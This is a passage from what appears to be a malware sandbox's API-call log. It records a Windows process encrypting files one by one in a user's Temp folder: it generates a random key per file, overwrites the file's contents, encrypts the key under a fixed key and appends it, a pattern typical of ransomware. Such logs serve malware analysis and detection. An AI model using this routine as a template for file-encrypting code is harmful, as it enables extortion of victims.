pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.708] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.708] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.708] CloseHandle (hObject=0x1c74) returned 1 [0200.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.719] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\YO-hQXLDYtld.ots", dwFileAttributes=0x80) returned 1 [0200.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\YO-hQXLDYtld.ots" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\yo-hqxldytld.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.720] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=67154) returned 1 [0200.720] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d7040, nNumberOfBytesToRead=0x10652, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x10652, lpOverlapped=0x0) returned 1 [0200.721] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-67154, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.721] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x10652, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10652, lpOverlapped=0x0) returned 1 [0200.721] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10652 [0200.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.722] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.722] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.722] CloseHandle (hObject=0x1c74) returned 1 [0200.723] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.723] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.723] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\YnjdSGh5flKVsD7hC.mp4", dwFileAttributes=0x80) returned 1 [0200.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\YnjdSGh5flKVsD7hC.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ynjdsgh5flkvsd7hc.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.724] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=90815) returned 1 [0200.724] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d7040, nNumberOfBytesToRead=0x162bf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x162bf, lpOverlapped=0x0) returned 1 [0200.725] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-90815, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.725] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x162bf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x162bf, lpOverlapped=0x0) returned 1 [0200.725] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x162bf [0200.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.726] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.726] CloseHandle (hObject=0x1c74) returned 1 [0200.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0200.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.727] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\YgHK.avi", dwFileAttributes=0x80) returned 1 [0200.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\YgHK.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\yghk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.728] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=89965) returned 1 [0200.728] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d7040, nNumberOfBytesToRead=0x15f6d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x15f6d, lpOverlapped=0x0) returned 1 [0200.729] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-89965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.729] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x15f6d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15f6d, lpOverlapped=0x0) returned 1 [0200.729] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15f6d [0200.729] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.729] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.729] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.730] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.730] CloseHandle (hObject=0x1c74) returned 1 [0200.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\WYBR2B0 ltJT_NKxw0.odp", dwFileAttributes=0x80) returned 1 [0200.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\WYBR2B0 ltJT_NKxw0.odp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\wybr2b0 ltjt_nkxw0.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.732] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=55425) returned 1 [0200.732] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xd881, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xd881, lpOverlapped=0x0) returned 1 [0200.733] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-55425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.733] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xd881, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd881, lpOverlapped=0x0) returned 1 [0200.733] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd881 [0200.733] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.733] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.734] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.734] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.734] CloseHandle (hObject=0x1c74) returned 1 [0200.735] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.735] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.735] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\VDmL.jpg", dwFileAttributes=0x80) returned 1 [0200.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\VDmL.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\vdml.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.736] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=10070) returned 1 [0200.736] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x2756, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2756, lpOverlapped=0x0) returned 1 [0200.736] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-10070, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.736] WriteFile (in: hFile=0x1c74, lpBuffer=0x30da7a8*, nNumberOfBytesToWrite=0x2756, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da7a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2756, lpOverlapped=0x0) returned 1 [0200.736] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2756 [0200.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.737] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.737] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.737] CloseHandle (hObject=0x1c74) returned 1 [0200.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.739] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0200.739] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\UOVEsd72 nhsf.bmp", dwFileAttributes=0x80) returned 1 [0200.739] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\UOVEsd72 nhsf.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\uovesd72 nhsf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.739] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18047) returned 1 [0200.739] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x467f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x467f, lpOverlapped=0x0) returned 1 [0200.741] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-18047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.741] WriteFile (in: hFile=0x1c74, lpBuffer=0x30dc6d0*, nNumberOfBytesToWrite=0x467f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc6d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x467f, lpOverlapped=0x0) returned 1 [0200.741] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x467f [0200.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.741] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.741] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.741] CloseHandle (hObject=0x1c74) returned 1 [0200.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\T8S1f6ubO.gif", dwFileAttributes=0x80) returned 1 [0200.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\T8S1f6ubO.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\t8s1f6ubo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.745] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=35687) returned 1 [0200.745] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x8b67, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x8b67, lpOverlapped=0x0) returned 1 [0200.746] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-35687, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.746] WriteFile (in: hFile=0x1c74, lpBuffer=0x30e0bb8*, nNumberOfBytesToWrite=0x8b67, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0bb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8b67, lpOverlapped=0x0) returned 1 [0200.746] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8b67 [0200.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.746] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.747] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.747] CloseHandle (hObject=0x1c74) returned 1 [0200.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.748] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\t6wrgSty.odp", dwFileAttributes=0x80) returned 1 [0200.748] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\t6wrgSty.odp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\t6wrgsty.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.749] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=34158) returned 1 [0200.749] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x856e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x856e, lpOverlapped=0x0) returned 1 [0200.749] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-34158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.750] WriteFile (in: hFile=0x1c74, lpBuffer=0x30e05c0*, nNumberOfBytesToWrite=0x856e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e05c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x856e, lpOverlapped=0x0) returned 1 [0200.750] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x856e [0200.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.750] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.750] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.750] CloseHandle (hObject=0x1c74) returned 1 [0200.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\t2NPahIxXaAPh6.gif", dwFileAttributes=0x80) returned 1 [0200.752] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\t2NPahIxXaAPh6.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\t2npahixxaaph6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.752] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=50407) returned 1 [0200.752] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xc4e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xc4e7, lpOverlapped=0x0) returned 1 [0200.753] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-50407, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.753] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xc4e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc4e7, lpOverlapped=0x0) returned 1 [0200.753] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc4e7 [0200.753] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.753] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.753] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 